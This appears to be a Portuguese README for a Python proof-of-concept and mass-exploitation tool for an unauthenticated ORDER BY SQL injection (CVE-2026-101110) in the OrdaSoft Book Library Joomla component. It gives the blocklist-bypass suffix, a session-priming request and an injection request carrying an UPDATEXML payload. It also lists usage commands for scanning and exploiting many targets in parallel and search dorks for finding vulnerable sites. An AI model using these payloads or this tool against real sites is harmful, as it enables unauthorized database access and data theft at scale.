
PoC em Python 3 e exploit em massa para CVE-2026-101110, uma injeção SQL ORDER BY não autenticada no OrdaSoft Joomla Book Library <=6.4.6 através dos parâmetros field/direction.
PoC em Python 3 para CVE-2026-101110 — OrdaSoft Book Library (Free) para Joomla ≤ 6.4.6. Atualize para 6.4.7+.
| PoCbit | https://pocbit.org/pocs/cve-2026-101110 |
| Catálogo | https://pocbit.org/pocs/ |
| Componente | com_booklibrary |
| Arquivo / função | site/booklibrary.php → books() |
| Parâmetros | field, direction (ordenação) |
| Autenticação | Nenhuma (listagens públicas de livros) |
| CWE | CWE-89 Injeção SQL |
| CVSS 4.0 | 9.3 Crítico (Joomla CNA) |
| Crédito | Ala Arfaoui |
Book Library (Free) é um plugin da OrdaSoft que fornece biblioteca de livros / listagens de categorias no Joomla. Nas versões 6.4.6 e anteriores, a função books() filtra os parâmetros field e direction com protectInjectionWithoutQuote(). Essa função aplica apenas uma lista de bloqueio fraca que procura pela subcadeia select; ao encontrá-la, envolve o valor com $db->quote(), mas não o rejeita.
Os valores são então concatenados em uma expressão ORDER BY sem aspas — onde o uso de quote não impede a injeção SQL (descrição do CNA).
Duas condições para exploração:
field / direction) armazenados na sessão. -- xselect é anexado ao final do payload; ele passa pela verificação da lista de bloqueio, e o comentário SQL neutraliza o restante do payload.Resultado: ORDER BY SQLi sem autenticação, com risco crítico para leitura/escrita no banco de dados e integridade do site.
Request 1 (prime): ...&field=title&direction=ASC → session sort defaults
Request 2 (inject): ...&field=<expr> -- xselect&direction=ASC
└─ concatenated into ORDER BY (unquoted)
Filtro fraco (conceitual):
select (subcadeia) → envolve todo o valor em quotes (irrelevante no contexto de ORDER BY).-- xselect para que a lista de bloqueio veja select dentro da cauda do comentário, enquanto a expressão ativa antes de -- permanece como SQL executável (truques baseados em erro / UPDATEXML / ORDER BY empilhado).O PoC implementa:
| Etapa | Ação |
|---|---|
| Fingerprint | Caminhos de com_booklibrary + versão opcional do manifesto |
| Descoberta de rota | showCategory, search, showBooks, books, … + catid / Itemid extraídos |
| check | Prime da sessão → confirma SQLi (flag / VERSION()) |
| exploit | Prime → extração com --subquery (padrão SELECT VERSION()) |
| mass | --list + -j alvos em paralelo; exploited.txt em caso de vazamento bem-sucedido |
Sufixo de payload constante no código: -- xselect (BLACKLIST_DECOY).
cd CVE-2026-101110
pip install -r requirements.txt
python poc.py -u https://target.example --mode check
python poc.py -u https://target.example --mode check --aggressive
python poc.py -u https://target.example --mode exploit
python poc.py -u https://target.example --mode exploit --subquery "SELECT user()"
python poc.py --list targets.example.txt --mode check -j 40 --vuln-list hits.txt
python poc.py --list hits.txt --mode exploit -j 12 --subquery "SELECT VERSION()" --exploited-list exploited.txt
| Flag | Significado |
|---|---|
--aggressive | O modo check tenta vazamento de versão após o prime |
--subquery | Expressão interna para payloads UPDATEXML / double-query |
--exploited-list | Extrações bem-sucedidas separadas por tabulação |
--no-color | Desativa ANSI (também NO_COLOR) |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, component, session_primed.
Prime (sessão):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=title&direction=ASC HTTP/1.1
Inject (o PoC anexa o decoy):
GET /index.php?option=com_booklibrary&task=showCategory&catid=1&field=UPDATEXML(1,CONCAT(0x7e,(VERSION()),0x7e),1) -- xselect&direction=ASC HTTP/1.1
Variantes POST são tentadas na mesma rota quando o GET falha.
Manifesto (se exposto):
/administrator/components/com_booklibrary/booklibrary.xml≤ 6.4.6 → linha vulnerável; ≥ 6.4.7 → corrigido (patched_version na saída do check).
body="option=com_booklibrary"
body="/components/com_booklibrary/" && body="Joomla"
body="com_booklibrary" && (body="booklibrary" || body="Book Library")
body="ordasoft" && body="booklibrary"
| CVE | Extensão | Problema | Corrigido |
|---|---|---|---|
| CVE-2026-101110 | Book Library | ORDER BY SQLi + bypass de lista de bloqueio | 6.4.7 |
| CVE-2026-101111 | Book Library | XSS refletido (parâmetro title) | 6.4.7 |
| CVE-2026-101108 | Vehicle Manager | ORDER BY SQLi | 6.5.8 |
| CVE-2026-100752 | Real Estate Manager | ORDER BY SQLi | 6.7.9 |
Corrija todos os componentes OrdaSoft que você utiliza.
com_booklibrary nas tarefas search/lend (CVE-2010-1522) — caminhos de código diferentesApenas testes autorizados e validação de patches.
CVE-2026-101110 PoC: OrdaSoft Joomla Book Library (Free) <=6.4.6 unauth SQLi — field/direction ORDER BY, session prime + `-- xselect` blacklist bypass (com_booklibrary). Colored check + mass exploit, CVSS 9.3. https://pocbit.org/pocs/cve-2026-101110